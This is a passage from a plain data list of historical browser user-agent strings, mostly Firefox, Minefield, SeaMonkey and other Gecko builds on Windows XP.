Shiretoko/3.1b3pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b3pre) Gecko/20090121 Shiretoko/3.1b3pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b3pre) Gecko/20090206 Minefield/3.1b2pre Firefox/3.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b3pre) Gecko/20090207 Shiretoko/3.1b3pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b3pre) Gecko/20090213 Firefox/3.0.1b3pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b4pre) Gecko/20090323 Shiretoko/3.5b4pre (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b4pre) Gecko/20090401 Firefox/3.5b4pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b4pre) Gecko/20090409 Firefox/3.5b4pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b4pre) Gecko/20090411 Shiretoko/3.5b4pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b4pre) Gecko/20090413 Shiretoko/3.5b4pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b5pre) Gecko/20090428 SeaMonkey/2.0b1pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b5pre) Gecko/20090517 Firefox/3.5b4pre (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1pre) Gecko/20090629 Vonkeror/1.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6 ( .NET CLR 3.5.30729; .NET4.0E)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Opera/9.20 (Windows NT 6.0; U; en)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100206 Palemoon/3.6.0.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100206 Palemoon/3.6.0.5 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10 (.NET CLR 2.0.40607)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.11) Gecko/20101023 Firefox/3.6.11 (Palemoon/3.6.11)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.12) Gecko/20101026 Firefox/3.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20101203 AskTbBT5/3.9.1.14019 Firefox/3.6.13\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20101203 AskTbFF/3.9.1.14019 Firefox/3.6.13 ( .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20101203 AskTbFXTV5/3.8.0.12304 Firefox/3.6.13 GTB7.1 ( .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20101203 AskTbFXTV5/3.9.1.14019 Firefox/3.6.13 GTB7.1 ( .NET CLR 3.5.30729; .NET4.0E)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20101203 AskTbGLSV5/3.9.1.14019 Firefox/3.6.13\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20101203 AskTbSRFV5/3.9.1.14019 Firefox/3.6.13\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20101203 AskTbUT2V5/3.9.1.14019 Firefox/3.6.13 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20101203 BTRS28621 Firefox/3.6.13 ( .NET CLR 3.5.30729; .NET4.0E)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 ( .NET CLR 3.0.4506.2152; .NET4.0E)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 ( .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 ( .NET CLR 3.5.30729; .NET4.0E)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 (.NET CLR 3.5.30729) FBSMTWB\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 FBSMTWB\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 GTB7.1 ( .NET CLR 3.5.30729; .NET4.0E) FirePHP/0.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.15) Gecko/20110303 Mozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420+ (KHTML, like Gecko) Version/3.0 Mobile/1A543 Safari/419.3 ( .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.17) Gecko/20110531 Firefox/3.6.17 (Palemoon/3.6.17)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.19pre) Gecko/20110620 Namoroka/3.6.19pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.2) Gecko/20100324 Firefox/3.6.2 (Palemoon/3.6.2) (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.20) Gecko/20110803 AskTbFWV5/3.13.0.17701 Firefox/3.6.20 ( .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.21pre) Gecko K-Meleon/1.7.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.28) Gecko/20120306 Firefox/3.6.28 ( .NET CLR 3.5.30729; .NET4.0C)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.28) Gecko/20120306 Firefox/5.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.2pre) Gecko/20100312 Namoroka/3.6.2pre (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.0.16 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.3) Gecko/20100401 Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.25 (jaunty) Firefox/3.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.3) Gecko/20100403 Firefox/3.6.3 (Palemoon/3.6.3)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.3) Gecko/20100403 Firefox/3.6.3 (Palemoon/3.6.3) (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.30) Gecko/20120217 Firefox/3.6.30 (Palemoon/3.6.30)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.32) Gecko/20120529 Firefox/3.6.32 (Palemoon/3.6.32)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.4) Gecko/20100608 Lightning/1.0b2 Thunderbird/3.1 ThunderBrowse/3.3.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.4) Gecko/20100624 Firefox/3.6.4 Lunascape/6.2.0.22177 GTB7.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.8) Gecko/20100721  Firefox/3.6.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 ( .NET CLR 3.0.4506.2152; .NET4.0C)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 (.NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.9pre) Gecko/20100812 Namoroka/3.6.9pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2a1) Gecko/20090806 Namoroka/3.6a1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2a1) Gecko/20090806 Namoroka/3.6a1 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2a1pre) Gecko/20081222 Fennec/1.0a2\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2a1pre) Gecko/20090113 Minefield/3.2a1pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2a1pre) Gecko/20090120 Minefield/3.2a1pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2a1pre) Gecko/20090219 Minefield/3.2a1pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2a1pre) Gecko/20090304 Minefield/3.2a1pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2a1pre) Gecko/20090306 Minefield/3.2a1pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2a1pre) Gecko/20090317 Fennec/1.0b1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2a1pre) Gecko/20090320 Minefield/3.6a1pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2a1pre) Gecko/20090324 Firefox Minefield/3.6a1pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2a1pre) Gecko/20090324 Minefield/3.6a1pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2a1pre) Gecko/20090327 Firefox/3.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2a1pre) Gecko/20090327 Minefield/3.6a1pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2a1pre) Gecko/20090328 Minefield/3.6a1pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2a1pre) Gecko/20090330 Minefield/3.6a1pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2a1pre) Gecko/20090331 Minefield/3.6a1pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2a1pre) Gecko/20090401 Minefield/3.6a1pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2a1pre) Gecko/20090401 Minefield/3.6a1pre (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2a1pre) Gecko/20090402 Minefield/3.6a1pre (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2a1pre) Gecko/20090405 Minefield/3.6a1pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2a1pre) Gecko/20090405 Minefield/3.6a1pre (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2a1pre) Gecko/20090406 Minefield/3.6a1pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2a1pre) Gecko/20090407 Minefield/3.6a1pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2a1pre) Gecko/20090408 Minefield/3.6a1pre (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2a1pre) Gecko/20090409 Minefield/3.6a1pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2a1pre) Gecko/20090410 Minefield/3.6a1pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2a1pre) Gecko/20090413 Minefield/3.6a1pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2a1pre) Gecko/20090415 Minefield/3.6a1pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2a1pre) Gecko/20090418 Minefield/3.6a1pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2a1pre) Gecko/20090424 Minefield/3.6a1pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2a1pre) Gecko/20090425 Minefield/3.6a1pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2a1pre) Gecko/20090709 Minefield/3.6a1pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2a2pre) Gecko/20090816 Namoroka/3.6a2pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2a2pre) Gecko/20090826 Namoroka/3.6a2pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2b4) Gecko/20091124 Firefox/3.6b4\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2pre) Gecko/20100115 Prism/1.0b3\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.3a1pre) Gecko/20091130 Minefield/3.7a1pre GTB6\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.3a1pre) Gecko/20091219 Minefield/3.7a1pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.3a3pre) Gecko/20100311 Minefield/3.7a3pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.3a5pre) Gecko/20100418 Minefield/3.7a5pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a1) Gecko/20051220 Firefox/1.6a1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a1) Gecko/20060121 Firefox/1.6a1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a1) Gecko/20060323 Firefox/1.6a1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a1) Gecko/20060520 SeaMonkey/1.5a\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a1) Gecko/20060612 Minefield/3.0a1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a1) Gecko/20060725 Minefield/3.0a1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a1) Gecko/20060809 Minefield/3.0a1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a1) Gecko/20060816 Minefield/3.0a1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a1) Gecko/20060826 Minefield/3.0a1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a1) Gecko/20060906 SeaMonkey/1.5a\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a1) Gecko/20060910 Minefield/3.0a1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a1) Gecko/20061102 Minefield/3.0a1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a1) Gecko/2006112204 Minefield/3.0a1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a1) Gecko/20061123 Minefield/3.0a1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a1) Gecko/20061124 Minefield/3.0a1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a1) Gecko/20061125 Minefield/3.0a1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a1) Gecko/20061129 Minefield/3.0a1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a1) Gecko/20061204 GranParadiso/3.0a1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a1) Gecko/20061204 GranParadiso/3.0a1 MEGAUPLOAD 1.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a1) Gecko/20061217 Minefield/3.0a1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a2) Gecko/20070206 GranParadiso/3.0a2\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a2pre) Gecko/20061221 Minefield/3.0a2pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a2pre) Gecko/20061230 Minefield/3.0a2pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a2pre) Gecko/20061231 Minefield/3.0a2pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a2pre) Gecko/20070105 Minefield/3.0a2pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a2pre) Gecko/20070109 SeaMonkey/1.5a\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a2pre) Gecko/20070130 SeaMonkey/1.5a\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a2pre) Gecko/20070204 Minefield/3.0a2pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a3) Gecko/20070322 Firefox/2.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a3) Gecko/20070322 GranParadiso/3.0a3\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a3pre) Gecko/20070218 Minefield/3.0a3pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a3pre) Gecko/20070317 SeaMonkey/1.5a\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a4) Gecko/20070427 GranParadiso/3.0a4\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a4) Gecko/2007042705 GranParadiso/3.0a4\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a4pre) Gecko/20070404 SeaMonkey/1.5a\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a4pre) Gecko/20070407 Minefield/3.0a4pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a4pre) Gecko/20070416 Minefield/3.0a4pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a4pre) Gecko/20070427 Minefield/3.0a4pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a5pre) Gecko/20070517 Minefield/3.0a5pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a5pre) Gecko/20070527 SeaMonkey/1.5a\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a5pre) Gecko/20070529 Minefield/3.0a5pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a5pre) Gecko/20070529 SeaMonkey/2.0a1pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a6pre) Gecko/20070602 Minefield/3.0a6pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a6pre) Gecko/20070603 Minefield/3.0a6pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a6pre) Gecko/20070604 Minefield/3.0a6pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a6pre) Gecko/20070622 Minefield/3.0a6pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a6pre) Gecko/20070625 SeaMonkey/2.0a1pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a6pre) Gecko/20070626 Minefield/3.0a6pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a6pre) Gecko/20070630 Minefield/3.0a6pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a7) Gecko/2007080210 Firefox/2.0.0.4 MEGAUPLOAD 1.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a7) Gecko/2007080210 GranParadiso/3.0a7\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a7pre) Gecko/2007073105 Minefield/3.0a7pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a8pre) Gecko/2007082705 Minefield/3.0a8pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a9pre) Gecko/2007102105 Minefield/3.0a9pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a9pre) Gecko/2007110705 Minefield/3.0a9pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9b1) Gecko/2007110703 Firefox/3.0b1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9b2pre) Gecko/2007110805 Minefield/3.0b2pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9b2pre) Gecko/2007111605 Minefield/3.0b2pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9b2pre) Gecko/2007120405 Minefield/3.0b2pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9b2pre) Gecko/2007120505 Minefield/3.0b2pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9b3) Gecko/2008020514 Firefox/3.0b3\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9b3pre) Gecko/2007122205 Minefield/3.0b3pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9b4pre) Gecko/2008020708 Firefox/3.0b4pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9b4pre) Gecko/2008021304 Minefield/3.0b4pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9b5pre) Gecko/2008030706 Firefox/3.0b5pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9b5pre) Gecko/2008030706 Minefield/3.0b5pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9b5pre) Gecko/2008031004 Minefield/3.0b5pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9b5pre) Gecko/2008032204 Minefield/3.0b5pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9pre) Gecko/2008032904 Minefield/3.0pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9pre) Gecko/2008040907 Minefield/3.0pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9pre) Gecko/2008041406 Minefield/3.0pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9pre) Gecko/2008041506 Minefield/3.0pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:2.0) Treco/20110515 Fireweb Navigator/2.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:2.0.0) Gecko/20050511 Firefox/2.0.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:2.0.1) Gecko/20110606 Firefox/4.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:2.0a1pre) Gecko/2008032902 Minefield/4.0a1pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:x.x.x) Gecko/20041107 Firefox/x.x\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:x.xx) Gecko/20030504 Mozilla Firebird/0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:x.xxx) Gecko/20041027 Mnenhy/0.6.0.104\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-us; rv:1.9b5) Gecko/2008032620 Firefox/2.0.0.14\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-us; rv:1.9b5) Gecko/20080404 Firefox/2.0.0.14\nMozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.7.10) Gecko/20050716 Firefox/1.0.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.7.12) Gecko/20050915 Firefox/1.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.8) Gecko/20051107 Firefox/1.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.8.0.5) Gecko/20060721 SeaMonkey/1.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.8.0.7) Gecko/20060917 K-Meleon/1.02\nMozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.8.1) Gecko/20061010 Firefox/2.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11\nMozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.8.1.11) Gecko/20071127 Mozilla\nMozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12\nMozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.8.1.14) Gecko/20080201 Firefox/2.0.0.14\nMozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.1.1) Gecko/20090715 Firefox/3.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.1.13) Gecko/20100914 Firefox/3.6.16\nMozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9a1) Gecko/20061128 BonEcho/0.7b1\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.7.10) Gecko/20050717 Firefox/1.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.7.12) Gecko/20050919 Firefox/1.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.7.12) Gecko/20050919 Firefox/1.0.7 (ax)\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.7.5) Gecko/20041108 Firefox/1.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.7.5) Gecko/20060912 Netscape/8.1.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.8) Gecko/20051111 Firefox/1.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.8.0.5) Gecko/20060706 Firefox/1.5.0.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.8.0.7) Gecko/20060917 K-Meleon/1.02\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.8.1) Gecko/20060918 Firefox/2.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.8.1) Gecko/20061003 Firefox/2.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.8.1) Gecko/20061010 Firefox/2.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.8.1) Gecko/20061010 Firefox/2.0 MEGAUPLOAD 1.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1 MEGAUPLOAD 1.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.8.1.3) Gecko/20070309 Firefox/1.5.0.7 MEGAUPLOAD 1.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.8.1.3) Gecko/20070309 Firefox/2.0 MEGAUPLOAD 1.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.8.1.4) 